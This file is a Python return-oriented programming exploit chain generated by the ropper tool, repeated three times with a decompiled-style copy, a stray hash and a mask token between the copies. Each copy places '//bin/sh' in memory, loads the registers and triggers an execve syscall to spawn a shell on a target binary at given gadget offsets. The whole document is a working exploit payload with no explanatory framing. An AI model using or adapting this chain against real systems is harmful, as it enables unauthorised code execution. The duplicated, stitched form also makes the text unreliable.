#!/usr/bin/env python
# Generated by ropper ropchain generator #
def main(IMAGE_BASE_0):
    from struct import pack

    p = lambda x : pack('Q', x)

    #IMAGE_BASE_0 = 0x0000000000000000 # 341c528ee6f4d87e767c2dd3cbd78862bc379055c49ceef571037ec8968b4840
    rebase_0 = lambda x : p(x + IMAGE_BASE_0)

    rop = b''

    rop += rebase_0(0x000000000002921d) # 0x000000000002921d: pop r13; ret; 
    rop += b'//bin/sh'
    rop += rebase_0(0x00000000000332ff) # 0x00000000000332ff: pop rbx; ret; 
    rop += rebase_0(0x00000000001ea1a0)
    rop += rebase_0(0x0000000000063fd5) # 0x0000000000063fd5: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret; 
    rop += p(0xdeadbeefdeadbeef)
    rop += p(0xdeadbeefdeadbeef)
    rop += p(0xdeadbeefdeadbeef)
    rop += p(0xdeadbeefdeadbeef)
    rop += rebase_0(0x000000000002921d) # 0x000000000002921d: pop r13; ret; 
    rop += p(0x0000000000000000)
    rop += rebase_0(0x00000000000332ff) # 0x00000000000332ff: pop rbx; ret; 
    rop += rebase_0(0x00000000001ea1a8)
    rop += rebase_0(0x0000000000063fd5) # 0x0000000000063fd5: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret; 
    rop += p(0xdeadbeefdeadbeef)
    rop += p(0xdeadbeefdeadbeef)
    rop += p(0xdeadbeefdeadbeef)
    rop += p(0xdeadbeefdeadbeef)
    rop += rebase_0(0x0000000000026bb2) # 0x0000000000026bb2: pop rdi; ret; 
    rop += rebase_0(0x00000000001ea1a0)
    rop += rebase_0(0x000000000002709c) # 0x000000000002709c: pop rsi; ret; 
    rop += rebase_0(0x00000000001ea1a8)
    rop += rebase_0(0x000000000011c421) # 0x000000000011c421: pop rdx; pop r12; ret; 
    rop += rebase_0(0x00000000001ea1a8)
    rop += p(0xdeadbeefdeadbeef)
    rop += rebase_0(0x0000000000028ff4) # 0x0000000000028ff4: pop rax; ret; 
    rop += p(0x000000000000003b)
    rop += rebase_0(0x0000000000066199) # 0x0000000000066199: syscall; ret; 
    print(rop)
    return rop
930095998b33a6400614fb2cc78ce090d4ef21fd
<mask token>

def main(IMAGE_BASE_0):
    from struct import pack
    p = lambda x: pack('Q', x)
    rebase_0 = lambda x: p(x + IMAGE_BASE_0)
    rop = b''
    rop += rebase_0(168477)
    rop += b'//bin/sh'
    rop += rebase_0(209663)
    rop += rebase_0(2007456)
    rop += rebase_0(409557)
    rop += p(16045690984833335023)
    rop += p(16045690984833335023)
    rop += p(16045690984833335023)
    rop += p(16045690984833335023)
    rop += rebase_0(168477)
    rop += p(0)
    rop += rebase_0(209663)
    rop += rebase_0(2007464)
    rop += rebase_0(409557)
    rop += p(16045690984833335023)
    rop += p(16045690984833335023)
    rop += p(16045690984833335023)
    rop += p(16045690984833335023)
    rop += rebase_0(158642)
    rop += rebase_0(2007456)
    rop += rebase_0(159900)
    rop += rebase_0(2007464)
    rop += rebase_0(1164321)
    rop += rebase_0(2007464)
    rop += p(16045690984833335023)
    rop += rebase_0(167924)
    rop += p(59)
    rop += rebase_0(418201)
    print(rop)
    return rop

#!/usr/bin/env python
# Generated by ropper ropchain generator #
def main(IMAGE_BASE_0):
    from struct import pack

    p = lambda x : pack('Q', x)

    #IMAGE_BASE_0 = 0x0000000000000000 # 341c528ee6f4d87e767c2dd3cbd78862bc379055c49ceef571037ec8968b4840
    rebase_0 = lambda x : p(x + IMAGE_BASE_0)

    rop = b''

    rop += rebase_0(0x000000000002921d) # 0x000000000002921d: pop r13; ret; 
    rop += b'//bin/sh'
    rop += rebase_0(0x00000000000332ff) # 0x00000000000332ff: pop rbx; ret; 
    rop += rebase_0(0x00000000001ea1a0)
    rop += rebase_0(0x0000000000063fd5) # 0x0000000000063fd5: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret; 
    rop += p(0xdeadbeefdeadbeef)
    rop += p(0xdeadbeefdeadbeef)
    rop += p(0xdeadbeefdeadbeef)
    rop += p(0xdeadbeefdeadbeef)
    rop += rebase_0(0x000000000002921d) # 0x000000000002921d: pop r13; ret; 
    rop += p(0x0000000000000000)
    rop += rebase_0(0x00000000000332ff) # 0x00000000000332ff: pop rbx; ret; 
    rop += rebase_0(0x00000000001ea1a8)
    rop += rebase_0(0x0000000000063fd5) # 0x0000000000063fd5: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret; 
    rop += p(0xdeadbeefdeadbeef)
    rop += p(0xdeadbeefdeadbeef)
    rop += p(0xdeadbeefdeadbeef)
    rop += p(0xdeadbeefdeadbeef)
    rop += rebase_0(0x0000000000026bb2) # 0x0000000000026bb2: pop rdi; ret; 
    rop += rebase_0(0x00000000001ea1a0)
    rop += rebase_0(0x000000000002709c) # 0x000000000002709c: pop rsi; ret; 
    rop += rebase_0(0x00000000001ea1a8)
    rop += rebase_0(0x000000000011c421) # 0x000000000011c421: pop rdx; pop r12; ret; 
    rop += rebase_0(0x00000000001ea1a8)
    rop += p(0xdeadbeefdeadbeef)
    rop += rebase_0(0x0000000000028ff4) # 0x0000000000028ff4: pop rax; ret; 
    rop += p(0x000000000000003b)
    rop += rebase_0(0x0000000000066199) # 0x0000000000066199: syscall; ret; 
    print(rop)
    return rop